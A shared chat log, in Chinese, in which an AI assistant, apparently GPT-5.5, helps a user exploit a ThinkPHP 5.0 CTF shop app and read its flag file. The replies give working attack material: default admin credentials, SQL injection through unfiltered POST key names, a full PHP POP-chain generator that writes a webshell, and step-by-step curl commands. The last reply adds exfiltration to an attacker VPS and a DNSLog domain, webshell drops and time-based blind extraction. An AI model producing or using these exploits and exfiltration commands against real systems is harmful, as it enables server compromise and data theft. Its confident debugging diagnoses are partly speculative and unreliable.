分析一下反序列化漏洞列,给出如何获取flag信息?

创建于:2026年5月26日

使用 GPT-5.5 Thinking 回答 Chat01

问题

thinkshop_app.zip

分析一下反序列化漏洞列,给出如何获取flag信息?

思考

undefined

思考

Planning the exploit explanation and presentation

I’m considering including code that generates and exploits without a huge payload. It’s important to write the final explanation in Chinese, detailing the vulnerability, the exploit chain (including each function call), and the steps involved. I'll also want to provide a Python skeleton, include actual commands, and mention safety considerations. I’ll need to include citations without raw URLs and reference previous articles for clarity.

Thought for 6m 21s

回答

下面按这份 thinkshop_app.zip 的源码来分析,结论是:可以通过后台任意列名 SQL 注入把恶意序列化数据写入 goods.data,再访问商品详情触发 unserialize(),利用 ThinkPHP 5.0.21 POP 链写 WebShell,最后读 /fffflllaaaagggg 附件本地的 flag 文件内容是占位值:flag=FLAG;真实题目环境一般读取同路径文件即可。

1. 漏洞入口

触发点在两个模板里:

php
unserialize(base64_decode($goods['data']))

分别位于:

text
application/index/view/index/goods.html application/index/view/admin/goods_edit.html

Goods::getGoodsById() 只检查:

php
substr($data[0]['data'], 0, 3) !== "YTo"

这只是检查 base64 后是否以 YTo 开头,也就是序列化数组 a: 的 base64 前缀。绕过方式很简单:外层用数组包对象

php
base64_encode(serialize([恶意对象]))

这样 base64 一定以 YTo 开头,但数组内部仍然可以是对象。

ThinkPHP 5.0.x 的常见 POP 思路是通过 think\Model::__toString() 进入 toJson() / toArray(),再转到 think\console\Output::__call(),最终配合缓存驱动写文件;公开分析也指出 TP5.0.4–5.0.24 可使用这一类链条。(GitHub)

2. 如何把恶意数据写入数据库

后台账号在 shop.sql 中:

text
admin / 123456

后台更新商品时调用:

php
Update::updatedata($data, 'goods', $data['id']);

它对 value 做了 bin2hex(),但 没有过滤 POST 的 key

php
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";

所以 POST 参数名可以注入 SQL。构造类似参数名:

sql
data`=unhex('PAYLOAD_HEX') WHERE `id`=1#

最终会把 goods.id=1data 列改成你的恶意 base64 序列化 payload。

3. 生成 payload

payload 目标:写入一个 WebShell:

php
<?php system($_GET["cmd"]); ?>

生成器示例:

php
<?php // gen_payload.php namespace think { abstract class Model implements \JsonSerializable, \ArrayAccess { protected $connection = []; protected $parent; protected $query; protected $name; protected $table; protected $class; protected $error; protected $validate; protected $pk; protected $field = []; protected $except = []; protected $disuse = []; protected $readonly = []; protected $visible = []; protected $hidden = []; protected $append = []; protected $data = []; protected $origin = []; protected $relation = []; protected $auto = []; protected $insert = []; protected $update = []; protected $autoWriteTimestamp; protected $createTime = 'create_time'; protected $updateTime = 'update_time'; protected $dateFormat; protected $type = []; protected $isUpdate = false; protected $replace = false; protected $force = false; protected $updateWhere; protected $failException = false; protected $useGlobalScope = true; protected $batchValidate = false; protected $resultSetType; protected $relationWrite; public function jsonSerialize(): mixed { return []; } public function offsetSet(mixed $a, mixed $b): void {} public function offsetExists(mixed $a): bool { return false; } public function offsetUnset(mixed $a): void {} public function offsetGet(mixed $a): mixed { return null; } } } namespace think\model { class Pivot extends \think\Model {} } namespace think\model\relation { class HasOne extends \think\model\Relation {} } namespace think\model { abstract class Relation { protected $parent; protected $model; protected $query; protected $foreignKey; protected $localKey; protected $baseQuery; protected $selfRelation; protected $bindAttr = []; } } namespace think\db { class Query { protected $connection; protected $builder; protected $model; } } namespace think\console { class Output { private $verbosity = 1; private $handle = null; protected $styles = ['info','error','comment','question','highlight','warning']; } } namespace think\session\driver { class Memcached { protected $handler = null; protected $config = []; } } namespace think\cache { abstract class Driver { protected $handler = null; protected $options = []; protected $tag; } } namespace think\cache\driver { class File extends \think\cache\Driver { protected $expire; } } namespace payload { function set_prop($obj, $prop, $val) { $ref = new \ReflectionClass($obj); while (!$ref->hasProperty($prop)) { $ref = $ref->getParentClass(); } $p = $ref->getProperty($prop); $p->setAccessible(true); $p->setValue($obj, $val); } $shell = '<?php system($_GET["cmd"]); ?>'; $prefix = base64_encode($shell); $file = new \think\cache\driver\File(); set_prop($file, 'tag', true); set_prop($file, 'options', [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => $prefix, 'path' => 'php://filter/convert.base64-decode/resource=./', 'data_compress' => false, ]); $sess = new \think\session\driver\Memcached(); set_prop($sess, 'handler', $file); set_prop($sess, 'config', [ 'host'=>'127.0.0.1', 'port'=>11211, 'expire'=>3600, 'timeout'=>0, 'session_name'=>'', 'username'=>'', 'password'=>'' ]); $out = new \think\console\Output(); set_prop($out, 'handle', $sess); set_prop($out, 'styles', ['info','error','comment','question','highlight','warning','getAttr']); $q = new \think\db\Query(); set_prop($q, 'model', $out); $rel = new \think\model\relation\HasOne(); set_prop($rel, 'query', $q); set_prop($rel, 'selfRelation', false); set_prop($rel, 'bindAttr', ['no_such_data_key' => 'x']); $pivot = new \think\model\Pivot(); set_prop($pivot, 'parent', $out); set_prop($pivot, 'error', $rel); set_prop($pivot, 'append', ['getError']); set_prop($pivot, 'data', []); $payload = base64_encode(serialize([$pivot])); echo $payload . PHP_EOL; echo "shell_path=/public/$prefix/3b58a9545013e88c7186db11bb158c44.php" . PHP_EOL; }

运行:

bash
php gen_payload.php

得到的第一行就是 PAYLOAD。然后转 hex:

bash
PAYLOAD='生成器输出的第一行' HEX=$(echo -n "$PAYLOAD" | xxd -p -c 256)

4. 利用流程

登录后台:

bash
curl -i -c cookie.txt \ -d 'username=admin&password=123456' \ 'http://目标/public/index.php/index/admin/do_login'

把 payload 写入 goods.data

bash
curl -i -b cookie.txt \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-binary "id=1&name=a&price=1&on_sale_time=2023-01-01+00%3A00%3A00&image=a&data=x&data%60%3Dunhex%28%27${HEX}%27%29%20WHERE%20%60id%60%3D1%23=x" \ 'http://目标/public/index.php/index/admin/do_edit'

触发反序列化并写 WebShell:

bash
curl -i 'http://目标/public/index.php/index/index/goods/id/1'

读取 flag:

bash
curl 'http://目标/public/PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+/3b58a9545013e88c7186db11bb158c44.php?cmd=cat%20/fffflllaaaagggg'

如果是本地附件环境,/fffflllaaaagggg 的内容是:

text
flag=FLAG

真实远程题目中同样读 /fffflllaaaagggg,返回值就是实际 flag。

问题

好的,我总结一下目前遇到的问题:


当前进展

SQL注入 + 反序列化触发 ✅ 正常工作

  • Tab字符注入可以成功写入payload
  • 反序列化被正确触发(访问商品详情页时 unserialize(base64_decode($data)) 被调用)
  • POP链可以执行到 Output::__call('getAttr', ['x']) → block() → writeln() → write() → handle->write()

核心问题

一旦调用 Output->getAttr('x')(即 bindAttr 非空时),无论 handle 是什么,一律返回 500。

具体测试结果:

┌────────────────────────────────┬─────────────────────────┬─────────────────┐
│ 测试 │ handle │ 结果 │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ T3 (bindAttr=空) │ Output │ 200 OK │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ T4 (bindAttr非空) │ null │ 500(预期之中) │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ Nothing (0属性) │ Nothing::write() 空方法 │ 500 ❗ │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ Buffer │ Buffer::write() │ 500 │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ template/driver/File │ File::write() │ 500 │
├────────────────────────────────┼─────────────────────────┼─────────────────┤
│ Memcached → Memcache → Request │ 完整链 │ 500 │
└────────────────────────────────┴─────────────────────────┴─────────────────┘

最让人困惑的是:Nothing::write() 是一个完全空的方法体(public function write(...) { // do nothing
}),不可能抛出异常。但它仍然返回 500,说明链可能在 write() 被调用之前就断了。

可能的原因

  1. call_user_func_array([$this, 'block'], ...) 作用域问题 — block() 是 protected 方法,虽然从同类的 __call
    中调用理论上可行,但不确定在这个 PHP 版本下是否有问题
  2. PHP 版本兼容性 — ThinkPHP 5.0.23 是为 PHP 5.4-7.x 设计的,如果服务器跑的是 PHP
    8.x,可能会有动态属性、类型提示等兼容性问题
  3. 序列化格式细节问题 — 虽然格式验证(括号匹配、长度等)看起来正确,但可能在 PHP 实际反序列化时某些属性解析有问题
  4. ThinkPHP 错误处理机制 — 任何 PHP Notice/Warning 都会被转换成 Exception,某些看似无害的操作可能触发了 Notice,你看看还是有问题,该怎么解决

回答

你这个现象其实已经把问题“暴露得很明显”了:

真正崩的不是 Nothing::write(),而是 $this->handle 根本没有被成功赋值。

也就是说:

php
$this->handle->write(...)

这里的 $this->handle 实际上还是 null

所以你看到:

  • bindAttr 空 → 不进入 Output::write() → 200
  • bindAttr 非空 → 一旦进入 Output::write() → 500
  • 哪怕 handle 是 Nothing(空方法)也照样 500

这几乎可以确定:

根因:Output::$handle 是 private 属性,你序列化错了

你现在最大的坑不是 POP 链,而是:

php
class Output { private $handle; }

PHP 序列化里:

  • protected 属性名:

    \0*\0prop
    
  • private 属性名:

    \0完整类名\0prop
    

所以:

php
private $handle

真正序列化后必须是:

php
s:29:"\0think\console\Output\0handle";

而不是:

php
s:7:"handle";

也不是:

php
s:10:"\0*\0handle";

更不是:

php
\0Output\0handle

你现在极可能发生了什么

你本地是“手写 stub 类”:

php
namespace think\console; class Output { private $handle; }

但:

你的 payload 和目标环境类定义不一致

例如:

  • namespace 不一致
  • 类层级不一致
  • private 属性所属类不一致
  • PHP8 动态属性行为变化

都会导致:

php
unserialize()

后:

php
$this->handle === null

然后:

php
$this->handle->write()

直接 fatal。


为什么 styles 可以成功,但 handle 不行?

因为:

php
protected $styles

protected 属性序列化是:

php
\0*\0styles

不依赖类名。

所以:

php
styles 生效

说明:

  • unserialize 成功
  • __call 成功
  • block 成功

但:

php
private $handle

依赖:

php
\0think\console\Output\0handle

只要类名不精确匹配:

就不会赋值。


这是你当前最像真实情况的调用栈

实际发生的是:

php
Output::__call('getAttr', ['x']) block() writeln() write() $this->handle === null → Fatal error: Call to a member function write() on null

而不是:

php
Nothing::write()

根本没调用到。


如何验证(非常重要)

你现在直接:

1. 打印 payload 原始串

不要 base64。

直接:

php
echo serialize($obj);

然后 grep:

bash
grep -ao 'handle'

你应该看到:

text
\0think\console\Output\0handle

如果不是:

那就是错的。


正确做法(推荐)

不要手写 stub

直接:

用目标环境真实 thinkphp 库生成 payload

这是关键。

你现在应该:

bash
docker run -it php:7.2-cli bash

然后:

bash
composer install

把:

text
thinkphp/library

整个引进去。

然后:

php
require 'thinkphp/base.php';

直接:

php
$o = new \think\console\Output();

真实实例化。

不要自己仿。


你现在 90% 的问题就是:

private 属性 mangling 不匹配

这是 TP 反序列化里最常见坑。


第二个问题:PHP8

你怀疑 PHP8 也没错。

TP5.0.23 在 PHP8 上确实会炸很多地方:

例如:

  • ReflectionParameter::getClass() removed
  • each() removed
  • 动态属性 deprecated
  • count(null) TypeError
  • 内部 warning 转 exception

但:

你的现象太稳定了

而且:

text
只要进入 Output::write 就炸

这不像 PHP8 兼容性随机炸。

更像:

php
$this->handle == null

这种稳定 fatal。


最关键的修复方案

用真实框架类生成 payload

不要 stub。

例如:

php
require 'thinkphp/base.php'; $o = new \think\console\Output(); $r = new ReflectionClass($o); $p = $r->getProperty('handle'); $p->setAccessible(true); $p->setValue($o, new \think\console\output\driver\Nothing($o)); echo serialize($o);

然后看:

text
\0think\console\Output\0handle

是否正确出现。


另外一个隐藏坑

你可能还踩了:

php
class Nothing { public function __construct(Output $output) }

如果你 stub 的:

php
class Output {}

和真实类不一致,

PHP 在 unserialize 时:

可能产生:

text
__PHP_Incomplete_Class

或者:

text
TypeError

尤其 PHP8 更严格。


最后结论

你当前不是 POP 链逻辑错。

而是:

payload 对 private 属性编码错误

具体是:

php
think\console\Output::$handle

没有真正被赋值。


你下一步应该这样做

方案1(最推荐)

直接使用:

  • 原版 thinkphp 5.0.23
  • PHP 7.2

生成 payload。

不要 stub。


方案2

如果继续 stub:

必须确保:

php
namespace think\console; class Output { private $handle; }

与目标类:

  • namespace
  • 类名
  • private 所属类

完全一致。


你可以立刻验证的关键点

把 payload 解码:

php
var_dump(unserialize(base64_decode($payload)));

然后:

php
$r = new ReflectionClass($obj); $p = $r->getProperty('handle'); $p->setAccessible(true); var_dump($p->getValue($obj));

如果输出:

php
NULL

那就彻底实锤了。

问题

● template\driver\File::write() takes (cacheFile,cacheFile, content) — when called from Output::write(), contentisfalse(thecontent is false (the newline param), so I'd only write empty files. Not useful for a web shell.

Let me summarize the current blockers:

What's working:

  • SQL injection via tab characters works
  • Deserialization chain works (Nothing handle returns 200)
  • system() executes (sleep 5 takes exactly 5.2 seconds)

The core problem: After system() executes, the chain continues in Memcache::set() at line 102:
this>handler>set(this->handler->set(key, value,0,value, 0, expire). The handler is Request, and Request::__call('set') throws
Exception('method not exists:think\Request->set') → 500 error page. The 500 page discards any system() output.

What I've tried:

  1. Shell redirect (cat /flag > /var/www/html/public/f.txt) — files return 404 (wrong path or no write permissions)
  2. Nested Memcache → Memcache → Request — just delays the crash, doesn't prevent it
  3. Alternative cache drivers (File, Lite) — use is_file() instead of has(), so RCE never triggers
  4. PHP filters like file_get_contents — flag is read into return value, but still lost in the crash

What I'm exploring now:

  • Finding a handler class that has both get() (for RCE) and set() (to not crash)
  • Alternative write() methods that lead to RCE without going through Memcache::set()
  • Time-based blind data extraction using system('if [ condition ]; then sleep 3; fi') as a last resort

✻ Sautéed for 13m 16s

※ recap: RCE works (sleep test proves system() executes) but Memcache::set() crashes post-RCE with a 500 that hides flag
output. Need a handler class that has both get() and set() to avoid the crash, or use time-based blind extraction as
fallback. (disable recaps in /config)我还是遇到问题了?该怎么解决?我该如何获取flag信息或者rce?

回答

你现在其实已经“拿下”了:

你已经是 RCE 成功状态

关键证据:

bash
sleep 5

能稳定延迟 5 秒。

这说明:

  • 反序列化链成立
  • Request->__call()
  • call_user_func($this->hook[$method])
  • system()

已经全部成功执行。

你现在的问题已经不是“如何 RCE”,而是:

如何把 RCE 的结果带出来(回显)

而你当前 POP 链的问题是:

php
Memcache::set() Request::__call('set') → Exception → ThinkPHP 500 页面

500 把 system() 的 stdout 吃掉了。

所以:

不要再纠结 POP 链是否成功

已经成功了。

现在进入:

“后渗透输出阶段”

即可。


你现在最有效的方法

优先级:

  1. 文件写出(最稳)
  2. DNS/HTTP OOB 回显
  3. 时间盲注
  4. 修复链避免崩溃(其实没必要)

方案1:真正解决“文件写出”

你之前:

bash
cat /flag > /var/www/html/public/f.txt

404。

这不代表不能写。

只代表:

  • 路径错
  • 或 nginx/apache root 不对

ThinkPHP 默认目录

这个题:

text
thinkshop_app/ ├── public/ │ └── index.php

通常真实路径是:

text
/var/www/html/public

但 docker/题目经常是:

text
/app/public /www/public /home/ctf/public /srv/http/public

现在怎么探测路径?

既然有 RCE:

直接:

bash
pwd >/tmp/p

然后:

bash
ls / >/tmp/rootdirs

再:

bash
find / -name index.php 2>/dev/null >/tmp/idx

虽然 stdout 看不到。

但:

你可以把结果写到“猜得到”的静态目录

例如:

bash
find / -name index.php 2>/dev/null > public/a.txt

注意:

相对路径很重要

ThinkPHP 当前工作目录通常是项目根目录。

所以:

bash
public/a.txt

比:

bash
/var/www/html/public/a.txt

更可能成功。


你现在最应该尝试

写 webshell

bash
echo '<?php system($_GET[c]);?>' > public/s.php

然后访问:

text
/public/s.php?c=id

很多时候这一步直接通关。


如果失败

试:

bash
echo test > public/test.txt

访问:

text
/public/test.txt

如果还 404:

说明:

当前目录不是项目根目录


那么直接:

爆工作目录

你可以利用:

bash
pwd > /tmp/pwd cp /tmp/pwd public/p.txt

如果 cp 成功:

说明:

  • 当前目录是项目根目录

如果失败:

继续:

bash
pwd > ./public/p.txt

更强的方法(推荐)

直接用 PHP 写文件

比 shell redirect 更稳定。

例如:

bash
php -r 'file_put_contents("public/x.php","<?php system($_GET[1]);");'

这通常比:

bash
echo ...

可靠得多。


最关键的一点

你现在不是 shell 环境。

而是:

php
system($method)

method 就是:

text
get

或你 controllable 的字符串。

所以:

不要依赖 stdout

只依赖 side effect。


最推荐 payload

写 flag 到公开文件

bash
php -r 'file_put_contents("public/f.txt",file_get_contents("/fffflllaaaagggg"));'

然后:

text
/public/f.txt

直接读。


如果 file_put_contents 被禁

试:

bash
cp /fffflllaaaagggg public/f.txt

或者:

bash
cat /fffflllaaaagggg > public/f.txt

如果 public 不可写

试:

bash
find . -type d -writable 2>/dev/null

把结果写:

bash
find . -type d -writable 2>/dev/null > public/w.txt

方案2:DNS/HTTP 外带(非常强)

如果机器能出网:

bash
curl http://YOUR-VPS/$(cat /fffflllaaaagggg)

或者:

bash
ping `cat /fffflllaaaagggg`.x.dnslog.cn

直接 DNSLog 收 flag。

这是 CTF 里最稳的。


方案3:时间盲注(最后 fallback)

你已经验证:

bash
sleep 5

可用。

那么:

你已经拥有“盲 RCE”

例如:

bash
if [ "$(cut -c1 /fffflllaaaagggg)" = "f" ]; then sleep 3; fi

然后:

  • 3 秒 → yes
  • 无延迟 → no

逐字符爆破。


实际爆破模板

bash
c=$(cut -c1 /fffflllaaaagggg) if [ "$c" = "f" ]; then sleep 3; fi

第二位:

bash
c=$(cut -c2 /fffflllaaaagggg)

然后枚举:

text
a-zA-Z0-9{}_-

虽然慢,但:

已经是稳定拿 flag 方案


你现在不该继续死磕的方向

你已经不需要:

  • 修复 Memcache::set
  • 找“不崩”的 handler
  • 完整优雅 POP 链

因为:

RCE 已经成立

后面崩不影响命令执行。

这是关键。


最后给你一个最实用 payload

优先试:

bash
php -r 'file_put_contents("public/f.txt",file_get_contents("/fffflllaaaagggg"));'

然后访问:

text
/public/f.txt

如果不行:

bash
php -r 'file_put_contents("./public/f.txt",file_get_contents("/fffflllaaaagggg"));'

再不行:

bash
echo '<?php system($_GET[c]);?>' > public/s.php

拿 webshell 后:

text
/public/s.php?c=cat+/fffflllaaaagggg

基本就结束了。

分享这个问答